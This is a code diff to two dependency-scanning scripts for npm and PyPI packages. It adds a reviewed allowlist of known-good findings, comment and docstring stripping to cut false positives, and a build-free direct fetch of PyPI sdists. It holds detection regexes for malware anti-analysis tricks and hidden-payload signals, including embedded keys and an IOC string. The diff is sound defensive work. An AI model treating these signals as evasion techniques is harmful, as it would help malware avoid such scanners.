@@ -1263,6 +1568,30 @@ def main(argv: list[str] | None = None) -> int:
             "Medium and below print but exit 0."
         ),
     )
+    parser.add_argument(
+        "--baseline",
+        metavar = "FILE",
+        default = None,
+        help = (
+            "Allowlist JSON of triaged known-good findings to suppress. "
+            "Defaults to scan_npm_packages_baseline.json next to this script "
+            "if present."
+        ),
+    )
+    parser.add_argument(
+        "--no-baseline",
+        action = "store_true",
+        help = "Ignore the auto-discovered baseline allowlist.",
+    )
+    parser.add_argument(
+        "--write-baseline",
+        metavar = "FILE",
+        default = None,
+        help = (
+            "Write the current at/above-threshold findings to FILE as an "
+            "allowlist, then exit 0. Review every entry before committing it."
+        ),
+    )
     args = parser.parse_args(argv)
 
     lockfile = Path(args.lockfile).resolve()
@@ -1341,7 +1670,46 @@ def main(argv: list[str] | None = None) -> int:
         "critical": CRITICAL,
     }[args.fail_on]
     threshold_rank = _SEVERITY_RANK[threshold]
-    blocking = [f for f in all_findings if _SEVERITY_RANK[f.severity] <= threshold_rank]
+
+    # --write-baseline: persist the full current at/above-threshold set as the
+    # new allowlist (ignoring any loaded baseline), then exit 0. A hard error
+    # means the scan was incomplete, so warn -- a baseline baked from a partial
+    # run would silently allow whatever failed to download.
+    if args.write_baseline:
+        if hard_errors:
+            print(
+                f"  [WARN] {len(hard_errors)} hard error(s): baseline may be "
+                "incomplete (some packages did not scan).",
+                file = sys.stderr,
+            )
+        _write_baseline(args.write_baseline, all_findings, threshold_rank)
+        return 0
+
+    # Baseline allowlist: suppress triaged, known-good findings so the CI gate
+    # can be enforcing without red-failing on legitimate-library noise.
+    if args.no_baseline:
+        baseline_path = None
+    elif args.baseline:
+        baseline_path = args.baseline
+    elif os.path.isfile(_DEFAULT_BASELINE_PATH):
+        baseline_path = _DEFAULT_BASELINE_PATH
+    else:
+        baseline_path = None
+    baseline = _load_baseline(baseline_path) if baseline_path else set()
+    active, suppressed = _partition_baseline(all_findings, baseline)
+
+    if suppressed:
+        crit_s = sum(1 for f in suppressed if f.severity == CRITICAL)
+        high_s = sum(1 for f in suppressed if f.severity == HIGH)
+        print(
+            f"\n[scan-npm] {len(suppressed)} finding(s) suppressed by baseline "
+            f"{baseline_path} ({crit_s} CRITICAL, {high_s} HIGH).",
+            flush = True,
+        )
+
+    # Exit code: 1 on a hard error, or a NON-baselined finding at/above the
+    # threshold. This is the signal CI gates on once the baseline is clean.
+    blocking = [f for f in active if _SEVERITY_RANK[f.severity] <= threshold_rank]
     if hard_errors or blocking:
         if blocking:
             print(
diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json
new file mode 100644
index 0000000000..18da8b68c8
--- /dev/null
+++ b/scripts/scan_npm_packages_baseline.json
@@ -0,0 +1,5 @@
+{
+  "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, basename(file), pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
+  "version": 1,
+  "entries": []
+}
diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py
index 861b35617b..9f22035001 100644
--- a/scripts/scan_packages.py
+++ b/scripts/scan_packages.py
@@ -33,10 +33,24 @@ Examples:
     python scan_packages.py --fix -r requirements.txt
     python scan_packages.py --fix --max-search 20 -r requirements.txt
 
+    # Triage to a baseline once, then gate on anything NEW
+    python scan_packages.py -r requirements.txt --write-baseline scripts/scan_packages_baseline.json
+    python scan_packages.py -r requirements.txt   # auto-loads the baseline, exits 0 if only baselined findings remain
+
+False positives:
+    .py files are scanned code-only: comments and bare docstrings/doctests are
+    blanked before pattern matching (line numbers preserved), so prose, usage
+    examples and `>>>` doctests cannot trip a finding. Residual findings that
+    are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
+    test fixture) are suppressed via a reviewed baseline allowlist, matched on
+    (package, basename(file), check). A NEW kind of finding in an already-listed
+    file is a different check and still fails. This mirrors the Hugging Face Hub
+    approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
+
 Exit codes:
-    0 -- no CRITICAL or HIGH findings
-    1 -- CRITICAL or HIGH findings detected
-    2 -- no packages specified
+    0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
+    1 -- non-baselined CRITICAL or HIGH findings detected
+    2 -- no packages specified, or scan incomplete (pip download failure)
 """
 
 import argparse
@@ -50,6 +64,8 @@ import subprocess
 import sys
 import tarfile
 import tempfile
+import tokenize
+import urllib.parse
 import urllib.request
 import zipfile
 from dataclasses import dataclass, field
@@ -213,17 +229,26 @@ RE_ARCHIVE_STAGING = re.compile(
 )
 
 # Anti-analysis / sandbox evasion / debugger detection
+# NB: deliberately does NOT include a bare ``platform.system() ... Linux/Windows
+# /Darwin`` branch. Under re.DOTALL that matched across the whole file -- any
+# cross-platform library (typer, packaging, pandas, pymupdf, ...) trips it -- so
+# it had ~zero precision and only generated false positives. OS detection alone
+# is not an anti-analysis signal; the debugger/VM/long-sleep signals below are.
 RE_ANTI_ANALYSIS = re.compile(
     r"\bptrace\b"
     r"|\bsys\s*\.\s*gettrace\s*\("
     r"|\bsys\s*\.\s*settrace\b"
     r"|\bTracerPid\b"
-    r"|\b/proc/self/status\b"
+    # /proc/self/status is read to scrape TracerPid for anti-debug. A leading
+    # \b here is unsatisfiable (\b never holds between a non-word boundary and
+    # "/"), so the old pattern was dead; a lookbehind that only forbids a
+    # preceding word char or path separator lets `open("/proc/self/status")`
+    # and `cat /proc/self/status` match while avoiding mid-path partials.
+    r"|(?<![\w/])/proc/self/status\b"
     r"|\bIsDebuggerPresent\b"
     r"|\bvirtualbox\b.*\bhardware\b"
     r"|\bvmware\b.*\bdetect\b"
-    r"|\btime\.sleep\s*\(\s*(?:[3-9]\d{2,}|[1-9]\d{3,})\s*\)"  # long sleep (anti-sandbox)
-    r"|\bplatform\.\s*system\b.*\bif\b.*\b(?:Linux|Windows|Darwin)\b",
+    r"|\btime\.sleep\s*\(\s*(?:[3-9]\d{2,}|[1-9]\d{3,})\s*\)",  # long sleep (anti-sandbox)
     re.IGNORECASE | re.DOTALL,
 )
 
@@ -493,9 +518,130 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
     return findings
 
 
+# A STRING after one of these tokens (and before a NEWLINE) is a bare
+# docstring/doctest/prose statement -- the dominant FP source -- so we blank it.
+# A string after `=` or `(` is real code and is never blanked.
+_LINE_START_TOKENS = frozenset({tokenize.NEWLINE, tokenize.NL, tokenize.INDENT, tokenize.DEDENT})
+
+
+def _is_fstring(tok_string: str) -> bool:
+    """True if a STRING token is an f-string (3.10/3.11 emit one STRING token).
+
+    A bare f-string statement evaluates its expressions at import, so unlike an
+    inert docstring it must never be blanked.
+    """
+    q = min((tok_string.find(c) for c in "'\"" if c in tok_string), default = -1)
+    return q > 0 and "f" in tok_string[:q].lower()
+
+
+def _strip_noncode(content: str) -> str:
+    """Blank comments and bare docstrings so IOC patterns see code only.
+
+    Removed regions become spaces (newlines kept) so line numbers stay exact for
+    _extract_evidence. Fails open on tokenizer errors (the raw text is still
+    fully scanned, so a real detection is never lost).
+    """
+    try:
+        toks = list(tokenize.generate_tokens(io.StringIO(content).readline))
+    except (tokenize.TokenError, IndentationError, SyntaxError, ValueError):
+        return content
+
+    spans: list[tuple[int, int, int, int]] = []  # (srow, scol, erow, ecol)
+    prev_significant = tokenize.NEWLINE  # start-of-file behaves like a new line
+    n = len(toks)
+    for i, tok in enumerate(toks):
+        ttype = tok.type
+        if ttype == tokenize.COMMENT:
+            spans.append((*tok.start, *tok.end))
+            continue  # do not advance prev_significant; comments are transparent
+        if (
+            ttype == tokenize.STRING
+            and prev_significant in _LINE_START_TOKENS
+            and not _is_fstring(tok.string)  # f-strings execute; never blank them
+        ):
+            # Bare string only if it is the whole statement: next significant
+            # token must close the logical line.
+            j = i + 1
+            while j < n and toks[j].type in (tokenize.COMMENT, tokenize.NL):
+                j += 1
+            if j < n and toks[j].type == tokenize.NEWLINE:
+                spans.append((*tok.start, *tok.end))
+                prev_significant = ttype
+                continue
+        if ttype in (
+            tokenize.NL,
+            tokenize.NEWLINE,
+            tokenize.INDENT,
+            tokenize.DEDENT,
+            tokenize.ENCODING,
+        ):
+            prev_significant = ttype
+            continue
+        prev_significant = ttype
+
+    if not spans:
+        return content
+
+    buf = content.splitlines(keepends = True)
+    for srow, scol, erow, ecol in spans:
+        for row in range(srow, erow + 1):
+            line = buf[row - 1]
+            if line.endswith("\n"):
+                body, nl = line[:-1], "\n"
+            elif line.endswith("\r"):
+                body, nl = line[:-1], "\r"
+            else:
+                body, nl = line, ""
+            start = scol if row == srow else 0
+            end = ecol if row == erow else len(body)
+            end = min(end, len(body))
+            if start < end:
+                body = body[:start] + (" " * (end - start)) + body[end:]
+            buf[row - 1] = body + nl
+    return "".join(buf)
+
+
+# Payload carriers that are suspicious when hidden in a blanked region (a
+# docstring/string) of a file that can dynamically execute strings.
+_HIDDEN_PAYLOAD_PATTERNS = (
+    (RE_LARGE_BLOB, "large base64 blob"),
+    (RE_EMBEDDED_KEYS, "embedded key material"),
+    (RE_MAY12_IOC, "Shai-Hulud IOC string"),
+    (RE_OBFUSCATION, "marshal/compile/obfuscation"),
+)
+
+
+def _hidden_payload_findings(
+    original: str, stripped: str, filename: str, package: str
+) -> list[Finding]:
+    """Flag payloads that live only in the blanked (docstring/string) region of
+    a file that contains exec/eval. Such a string is invisible to code-only
+    scanning yet ``exec(__doc__)`` / ``exec(<str>)`` could still run it."""
+    if not RE_EXEC_EVAL.search(stripped):
+        return []
+    out = []
+    for pat, label in _HIDDEN_PAYLOAD_PATTERNS:
+        if pat.search(original) and not pat.search(stripped):
+            out.append(
+                Finding(
+                    HIGH,
+                    package,
+                    filename,
+                    "exec/eval with payload hidden in a docstring/string",
+                    f"{label}: {_extract_evidence(original, pat)}",
+                )
+            )
+    return out
+
+
 def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
     """Run all .py-specific checks."""
-    findings = []
+    # Code-only scanning: strip comments/docstrings up front so prose, doctests
+    # and usage examples cannot manufacture false positives. Aligns with the
+    # Hugging Face Hub model (ClamAV/picklescan: low-FP, signature/structural).
+    original = content
+    content = _strip_noncode(content)
+    findings = _hidden_payload_findings(original, content, filename, package)
     basename = os.path.basename(filename)
     is_setup = basename in ("setup.py", "setup.cfg")
     is_init = basename == "__init__.py"
@@ -937,7 +1083,13 @@ def _extract_evidence(
     pattern: re.Pattern,
     max_matches: int = 3,
 ) -> str:
-    """Pull matching lines as evidence snippets."""
+    """Pull matching lines as evidence snippets.
+
+    Falls back to a whole-content search when the pattern only matches across
+    line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
+    anti-analysis / archive-staging finding could report empty evidence, making
+    the baseline entry impossible to review.
+    """
     lines = content.splitlines()
     matches = []
     for i, line in enumerate(lines, 1):
@@ -948,7 +1100,17 @@ def _extract_evidence(
             matches.append(f"L{i}: {snippet}")
             if len(matches) >= max_matches:
                 break
-    return " | ".join(matches) if matches else ""
+    if matches:
+        return " | ".join(matches)
+    # Multiline (DOTALL) match: report the line where the match begins.
+    m = pattern.search(content)
+    if m:
+        line_no = content.count("\n", 0, m.start()) + 1
+        snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
+        if len(snippet) > 160:
+            snippet = snippet[:160] + "..."
+        return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
+    return ""
 
 
 # Non-Python checkers
@@ -1390,6 +1552,286 @@ _PIP_DOWNLOAD_PIN_FLAGS = [
 _RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]")
 
 
+# sdist fallback. `--only-binary :all:` never builds an sdist (no setup.py
+# exec), but a wheel-less project then can't be fetched at all and one such
+# package fails the whole --with-deps resolve (exit 2) -- a coverage hole. So on
+# resolve failure we drop to per-spec and fetch any sdist-only package's raw
+# tarball from the PyPI JSON API for scan_archive() to read statically: no pip,
+# no build, same no-exec guarantee. Transport failures are still exit 2; only
+# "no wheel" is downgraded to a direct fetch.
+
+_SDIST_DOWNLOAD_TIMEOUT = 180
+# Never fetch an archive larger than we would be willing to scan (iter_archive_files cap).
+_MAX_SDIST_BYTES = HARD_MAX_TOTAL_BYTES
+# Direct sdist bytes only ever come from PyPI's own CDN; refuse anything else.
+_TRUSTED_PYPI_HOSTS = frozenset({"files.pythonhosted.org", "pypi.org", "pypi.python.org"})
+
+
+def _spec_pin_version(spec: str) -> str | None:
+    """Return the ``==X.Y.Z`` pin from a spec, or None if unpinned."""
+    m = _RE_PYPI_SPEC_VERSION.search(spec)
+    return m.group(1) if m else None
+
+
+def _pypi_json(name: str) -> dict | None:
+    """Fetch a project's PyPI metadata JSON (read-only HTTPS GET, no exec); None on error."""
+    url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "") + "/json"
+    try:
+        req = urllib.request.Request(url, headers = {"Accept": "application/json"})
+        with urllib.request.urlopen(req, timeout = 30) as resp:
+            if getattr(resp, "status", 200) != 200:
+                return None
+            data = resp.read(16 * 1024 * 1024)  # metadata is small; cap regardless
+        return json.loads(data.decode("utf-8", errors = "replace"))
+    except Exception:
+        return None
+
+
+def _release_files(meta: dict, version: str | None) -> list[dict]:
+    """Distribution files for a specific version, or the latest release's files."""
+    if version:
+        files = meta.get("releases", {}).get(version)
+        if files:
+            return files
+    return meta.get("urls", []) or []
+
+
+def _release_has_wheel(meta: dict, version: str | None) -> bool:
+    """True if the (pinned or latest) release publishes any bdist_wheel."""
+    return any(f.get("packagetype") == "bdist_wheel" for f in _release_files(meta, version))
+
+
+def _is_trusted_pypi_url(url: str) -> bool:
+    """Only download sdist bytes from PyPI's own hosts, over HTTPS."""
+    try:
+        parsed = urllib.parse.urlparse(url)
+    except Exception:
+        return False
+    return parsed.scheme == "https" and parsed.hostname in _TRUSTED_PYPI_HOSTS
+
+
+def _requires_dist_names(meta: dict, version: str | None) -> list[str]:
+    """Transitive dep specs (name + version specifier) from metadata, to recover
+    a sdist-only package's tree. The specifier is kept so a pinned malicious
+    version is fetched, not latest. Skips ``extra``-gated deps."""
+    info = meta.get("info", {}) or {}
+    reqs = info.get("requires_dist") or []
+    specs: list[str] = []
+    for r in reqs:
+        if not isinstance(r, str):
+            continue
+        head = r
+        if ";" in r:
+            head, marker = r.split(";", 1)
+            if "extra" in marker:
+                continue  # optional extra; default install would not pull it
+        if not _RE_NAME.match(head.strip()):
+            continue
+        # "torch (>=1.10)" / "torch >=1.10" -> "torch>=1.10" (pip-friendly).
+        specs.append(re.sub(r"\s+", "", head).replace("(", "").replace(")", ""))
+    return specs
+
+
+def _download_sdist_direct(
+    name: str,
+    version: str | None,
+    dest: str,
+    *,
+    meta: dict | None = None,
+) -> tuple[str | None, str | None]:
+    """Fetch a project's sdist tarball directly from PyPI (no pip, no build).
+
+    Returns ``(filepath, error)``, one non-None. Suffix preserved for the archive
+    reader; bounded by ``_MAX_SDIST_BYTES`` and restricted to PyPI's CDN.
+    """
+    if meta is None:
+        meta = _pypi_json(name)
+    if meta is None:
+        return None, f"PyPI metadata fetch failed for {name}"
+    picked: tuple[str, str] | None = None
+    for f in _release_files(meta, version):
+        if f.get("packagetype") == "sdist" and f.get("url") and f.get("filename"):
+            picked = (f["filename"], f["url"])
+            break
+    if picked is None:
+        return None, f"no sdist published for {name} (version={version or 'latest'})"
+    fname, url = picked
+    if not _is_trusted_pypi_url(url):
+        return None, f"refusing non-PyPI sdist URL for {name}: {url[:80]}"
+    # basename + sanitize keeps the path inside dest; the char class preserves
+    # the real `.tar.gz` / `.zip` suffix so the archive reader picks the format.
+    safe_fname = _RE_PKG_NAME_SANITIZE.sub("_", os.path.basename(fname)) or "sdist.tar.gz"
+    out = os.path.join(dest, safe_fname)
+    try:
+        req = urllib.request.Request(url, headers = {"Accept": "application/octet-stream"})
+        with urllib.request.urlopen(req, timeout = _SDIST_DOWNLOAD_TIMEOUT) as resp:
+            if getattr(resp, "status", 200) != 200:
+                return None, f"sdist HTTP {getattr(resp, 'status', '?')} for {name}"
+            data = resp.read(_MAX_SDIST_BYTES + 1)
+        if len(data) > _MAX_SDIST_BYTES:
+            return None, f"sdist for {name} exceeds {_MAX_SDIST_BYTES} byte cap"
+        with open(out, "wb") as fh:
+            fh.write(data)
+        print(
+            f"  [INFO] fetched sdist directly (no build) for {name}: {safe_fname}",
+            file = sys.stderr,
+        )
+        return out, None
+    except Exception as exc:
+        return None, f"sdist download failed for {name}: {type(exc).__name__}: {str(exc)[:120]}"
+
+
+def _pip_download_with_deps(
+    specs: list[str],
+    dest: str,
+    env: dict,
+    *,
+    timeout: int = 600,
+) -> tuple[int, str]:
+    """One `pip download --with-deps --only-binary :all:` call. Returns (rc, stderr)."""
+    cmd = [
+        sys.executable,
+        "-m",
+        "pip",
+        "download",
+        *_PIP_DOWNLOAD_PIN_FLAGS,
+        "--dest",
+        dest,
+    ] + list(specs)
+    try:
+        proc = subprocess.run(cmd, capture_output = True, text = True, timeout = timeout, env = env)
+        return proc.returncode, proc.stderr or ""
+    except subprocess.TimeoutExpired:
+        return 124, "pip download (with deps) timed out"
+
+
+def _collect_flat_dir(dest: str, results: list[tuple[str, str]]) -> None:
+    """Append every archive in a flat dest dir as (pkg_name, path)."""
+    for fname in sorted(os.listdir(dest)):
+        fpath = os.path.join(dest, fname)
+        if os.path.isfile(fpath):
+            pkg_name = fname.split("-")[0].replace("_", "-").lower()
+            results.append((pkg_name, fpath))
+
+
+def _resolve_per_spec_with_deps(
+    specs: list[str], dest: str, env: dict, download_errors: list[str]
+) -> None:
+    """Fallback when the bulk --with-deps resolve fails: resolve each spec alone.
+
+    A still-failing spec is probed against PyPI: sdist-only -> direct fetch (deps
+    recovered one level); wheel-present but tree-unresolvable -> a --no-deps fetch
+    of just that package. Only a genuine fetch failure errors (caller exits 2);
+    unfetchable indirect deps are warned, since the named package is still scanned.
+    """
+    sdist_dep_followups: list[str] = []
+    for spec in specs:
+        name = _extract_pkg_name(spec)
+        version = _spec_pin_version(spec)
+        cmd = [
+            sys.executable,
+            "-m",
+            "pip",
+            "download",
+            *_PIP_DOWNLOAD_PIN_FLAGS,
+            "--dest",
+            dest,
+            spec,
+        ]
+        try:
+            proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 300, env = env)
+        except subprocess.TimeoutExpired:
+            download_errors.append(f"per-spec --with-deps timed out for {spec}")
+            continue
+        if proc.returncode == 0:
+            continue  # archives landed in dest; collected by the caller
+        meta = _pypi_json(name)
+        if meta is not None and not _release_has_wheel(meta, version):
+            fpath, serr = _download_sdist_direct(name, version, dest, meta = meta)
+            if fpath is None:
+                download_errors.append(serr or f"sdist fetch failed for {name}")
+                continue
+            sdist_dep_followups.extend(_requires_dist_names(meta, version))
+            continue
+        # Has a wheel but the full transitive tree won't co-resolve
+        # (ResolutionImpossible) -- typically a package the requirement file
+        # installs with --no-deps by design (e.g. descript-audio-codec, whose
+        # own pins conflict). Fetch just the package itself with --no-deps so it
+        # is still scanned; its conflicting deps are out of scope here (the file
+        # excludes them on purpose). Only a genuine fetch failure is an error.
+        nd_cmd = [
+            sys.executable,
+            "-m",
+            "pip",
+            "download",
+            "--no-deps",
+            *_PIP_DOWNLOAD_PIN_FLAGS,
+            "--dest",
+            dest,
+            spec,
+        ]
+        try:
+            nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env)
+        except subprocess.TimeoutExpired:
+            download_errors.append(f"per-spec --no-deps timed out for {spec}")
+            continue
+        if nd.returncode == 0:
+            print(
+                f"  [INFO] {name}: full tree unresolvable; scanned the package "
+                f"alone (--no-deps), recovering deps individually.",
+                file = sys.stderr,
+            )
+            # The --with-deps failure may have been a sdist-only TRANSITIVE dep,
+            # which --no-deps skips. Recover the declared deps so that class is
+            # still scanned (each is fetched as a wheel or direct sdist below).
+            if meta is not None:
+                sdist_dep_followups.extend(_requires_dist_names(meta, version))
+            continue
+        # --no-deps also failed: last-ditch sdist fetch at the pinned version.
+        if meta is not None:
+            fpath, _serr = _download_sdist_direct(name, version, dest, meta = meta)
+            if fpath is not None:
+                continue
+        download_errors.append(
+            f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}"
+        )
+
+    # Recover the transitive deps of sdist-only packages (deduped, one level).
+    # `dep` carries the declared version specifier so a pinned version is fetched.
+    seen: set[str] = set()
+    for dep in sdist_dep_followups:
+        dep_name = _extract_pkg_name(dep)
+        key = _norm_pkg(dep_name)
+        if key in seen:
+            continue
+        seen.add(key)
+        cmd = [
+            sys.executable,
+            "-m",
+            "pip",
+            "download",
+            *_PIP_DOWNLOAD_PIN_FLAGS,
+            "--dest",
+            dest,
+            dep,
+        ]
+        try:
+            proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 300, env = env)
+        except subprocess.TimeoutExpired:
+            print(f"  [WARN] dep download timed out for {dep}", file = sys.stderr)
+            continue
+        if proc.returncode == 0:
+            continue
+        dep_ver = _spec_pin_version(dep)
+        meta = _pypi_json(dep_name)
+        if meta is not None and not _release_has_wheel(meta, dep_ver):
+            fpath, serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta)
+            if fpath is None:
+                print(f"  [WARN] could not fetch sdist dep {dep}: {serr}", file = sys.stderr)
+        else:
+            print(f"  [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr)
+
+
 def download_packages(
     specs: list[str],
     dest: str,
@@ -1403,49 +1845,36 @@ def download_packages(
     summaries. A non-empty ``download_errors`` MUST make the caller exit
     non-zero so a partial scan can't masquerade as "0 findings, all clean".
 
-    with_deps=True downloads the full transitive tree in one pip call (flat dir);
-    with_deps=False (default) downloads each spec individually with --no-deps.
+    with_deps=True downloads the full transitive tree (flat dir); a bulk resolve
+    failure (sdist-only package or version conflict) degrades to per-spec
+    resolution + direct sdist fetch rather than blanking the shard.
+    with_deps=False (default) downloads each spec individually with --no-deps,
+    also falling back to a direct sdist fetch when no wheel exists.
     """
     results: list[tuple[str, str]] = []
     download_errors: list[str] = []
     env = _pip_download_env()
 
     if with_deps:
-        # Single pip download for all specs + transitive deps. `--only-binary
-        # :all:` refuses sdists so we never execute setup.py for metadata.
         os.makedirs(dest, exist_ok = True)
-        cmd = [
-            sys.executable,
-            "-m",
-            "pip",
-            "download",
-            *_PIP_DOWNLOAD_PIN_FLAGS,
-            "--dest",
-            dest,
-        ] + specs
-        try:
-            proc = subprocess.run(
-                cmd,
-                capture_output = True,
-                text = True,
-                timeout = 600,  # transitive resolution is slow
-                env = env,
+        # Fast path: resolve + download the whole transitive tree in one call.
+        # `--only-binary :all:` refuses sdists so we never build for metadata.
+        rc, stderr = _pip_download_with_deps(specs, dest, env)
+        if rc != 0:
+            # Atomic resolve failed -- a sdist-only package, or a cross-package
+            # version conflict (ResolutionImpossible). Degrade to per-spec
+            # resolution so one bad spec can't blank the shard, then direct-fetch
+            # any sdist-only holdouts (no build). Genuine failures still record an
+            # error so the caller exits 2.
+            print(
+                f"  [INFO] bulk --with-deps resolve failed "
+                f"({stderr.strip()[:160]}); falling back to per-spec resolution "
+                f"for {len(specs)} spec(s).",
+                file = sys.stderr,
             )
-            if proc.returncode != 0:
-                msg = f"pip download (with deps) failed: " f"{proc.stderr.strip()[:500]}"
-                print(f"  [ERROR] {msg}", file = sys.stderr)
-                download_errors.append(msg)
-        except subprocess.TimeoutExpired:
-            msg = "pip download (with deps) timed out"
-            print(f"  [ERROR] {msg}", file = sys.stderr)
-            download_errors.append(msg)
-
-        # Collect every archive that landed in dest
-        for fname in sorted(os.listdir(dest)):
-            fpath = os.path.join(dest, fname)
-            if os.path.isfile(fpath):
-                pkg_name = fname.split("-")[0].replace("_", "-").lower()
-                results.append((pkg_name, fpath))
+            _resolve_per_spec_with_deps(specs, dest, env, download_errors)
+        # Collect everything that landed (bulk OR per-spec OR direct sdist).
+        _collect_flat_dir(dest, results)
     else:
         for spec in specs:
             raw_name = _extract_pkg_name(spec)
@@ -1465,22 +1894,25 @@ def download_packages(
                 spec,
             ]
             try:
-                proc = subprocess.run(
-                    cmd,
-                    capture_output = True,
-                    text = True,
-                    timeout = 120,
-                    env = env,
-                )
-                if proc.returncode != 0:
-                    msg = f"pip download failed for {spec}: " f"{proc.stderr.strip()[:500]}"
-                    print(f"  [ERROR] {msg}", file = sys.stderr)
-                    download_errors.append(msg)
-                    continue
+                proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 120, env = env)
             except subprocess.TimeoutExpired:
-                msg = f"pip download timed out for {spec}"
-                print(f"  [ERROR] {msg}", file = sys.stderr)
-                download_errors.append(msg)
+                download_errors.append(f"pip download timed out for {spec}")
+                continue
+            if proc.returncode != 0:
+                # No wheel? Direct-fetch the sdist (no build) before erroring.
+                name = _extract_pkg_name(spec)
+                version = _spec_pin_version(spec)
+                meta = _pypi_json(name)
+                if meta is not None and not _release_has_wheel(meta, version):
+                    fpath, serr = _download_sdist_direct(name, version, pkg_dir, meta = meta)
+                    if fpath is not None:
+                        results.append((spec, fpath))
+                        continue
+                    download_errors.append(serr or f"sdist fetch failed for {name}")
+                    continue
+                download_errors.append(
+                    f"pip download failed for {spec}: {proc.stderr.strip()[:300]}"
+                )
                 continue
 
             for fname in os.listdir(pkg_dir):
@@ -1940,6 +2372,113 @@ def _find_requirements_files(root: str) -> list[str]:
     return sorted(results)
 
 
+# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
+# enforce without drowning in legitimate-library noise. Matched on
+# ``(package, basename(filename), check)`` -- not evidence text -- so a version
+# bump does not reopen a finding, but a *new* kind of finding in a listed file
+# is a different check and still fails. Regenerate with ``--write-baseline``.
+
+_DEFAULT_BASELINE_PATH = os.path.join(
+    os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
+)
+
+
+def _norm_pkg(name: str) -> str:
+    """PEP 503-style normalization so requests/Requests/req_uests collapse."""
+    return re.sub(r"[-_.]+", "-", (name or "").strip().lower())
+
+
+# Leading "<name>-<version>/" archive root of an sdist member, which carries the
+# version. Stripping it (but keeping the rest of the path) gives a key that is
+# stable across version bumps yet still distinguishes same-named files.
+_RE_SDIST_ROOT = re.compile(r"^[^/]+-\d[^/]*/")
+
+
+def _relpath_in_package(filename: str) -> str:
+    """Package-relative path: drop an sdist's version-carrying archive root.
+
+    Wheel members are already package-relative (``numba/cuda/utils.py``); sdist
+    members sit under ``numba-0.60.0/...``, so strip that one leading segment.
+    """
+    return _RE_SDIST_ROOT.sub("", filename, count = 1)
+
+
+def _finding_key(f: Finding) -> tuple[str, str, str]:
+    """Stable allowlist key: normalized package, package-relative path, check.
+
+    The package-relative path (not just basename) keeps the key stable across
+    version bumps while still distinguishing same-named files like ``utils.py``.
+    """
+    return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
+
+
+def _load_baseline(path: str) -> set[tuple[str, str, str]]:
+    """Load an allowlist JSON into a set of match keys. Missing file -> empty."""
+    try:
+        with open(path, "r", encoding = "utf-8") as fh:
+            data = json.load(fh)
+    except FileNotFoundError:
+        return set()
+    except (OSError, json.JSONDecodeError) as exc:
+        print(f"  [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
+        return set()
+    keys: set[tuple[str, str, str]] = set()
+    for e in data.get("entries", []):
+        try:
+            keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
+        except (KeyError, TypeError):
+            continue
+    return keys
+
+
+def _write_baseline(path: str, findings: list[Finding]) -> None:
+    """Persist CRITICAL/HIGH findings as an allowlist for human triage."""
+    entries = []
+    seen: set[tuple[str, str, str]] = set()
+    for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
+        if f.severity not in (CRITICAL, HIGH):
+            continue
+        key = _finding_key(f)
+        if key in seen:
+            continue
+        seen.add(key)
+        entries.append(
+            {
+                "package": f.package,
+                "file": _relpath_in_package(f.filename),
+                "check": f.check,
+                "severity": f.severity,
+                "evidence": f.evidence[:240],
+            }
+        )
+    doc = {
+        "_comment": (
+            "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
+            "manually judged benign. Matched on (package, package-relative file, "
+            "check); evidence/severity are for review only. Regenerate with "
+            "--write-baseline AFTER reviewing every line."
+        ),
+        "version": 1,
+        "entries": entries,
+    }
+    with open(path, "w", encoding = "utf-8") as fh:
+        json.dump(doc, fh, indent = 2, sort_keys = False)
+        fh.write("\n")
+    print(f"  Wrote {len(entries)} baseline entr(y/ies) to {path}")
+
+
+def _partition_baseline(
+    findings: list[Finding], baseline: set[tuple[str, str, str]]
+) -> tuple[list[Finding], list[Finding]]:
+    """Split findings into (active, suppressed) by allowlist membership."""
+    if not baseline:
+        return list(findings), []
+    active, suppressed = [], []
+    for f in findings:
+        (suppressed if _finding_key(f) in baseline else active).append(f)
+    return active, suppressed
+
+
 # Main
 
 
@@ -1986,6 +2525,30 @@ def main() -> int:
         metavar = "N",
         help = "Max older versions to scan when searching for safe version (default: 10)",
     )
+    parser.add_argument(
+        "--baseline",
+        metavar = "FILE",
+        default = None,
+        help = (
+            "Allowlist JSON of triaged known-good findings to suppress. "
+            f"Defaults to {os.path.basename(_DEFAULT_BASELINE_PATH)} next to this "
+            "script if present."
+        ),
+    )
+    parser.add_argument(
+        "--no-baseline",
+        action = "store_true",
+        help = "Ignore the auto-discovered baseline allowlist.",
+    )
+    parser.add_argument(
+        "--write-baseline",
+        metavar = "FILE",
+        default = None,
+        help = (
+            "Write the current CRITICAL/HIGH findings to FILE as an allowlist, "
+            "then exit 0. Review every entry before committing it."
+        ),
+    )
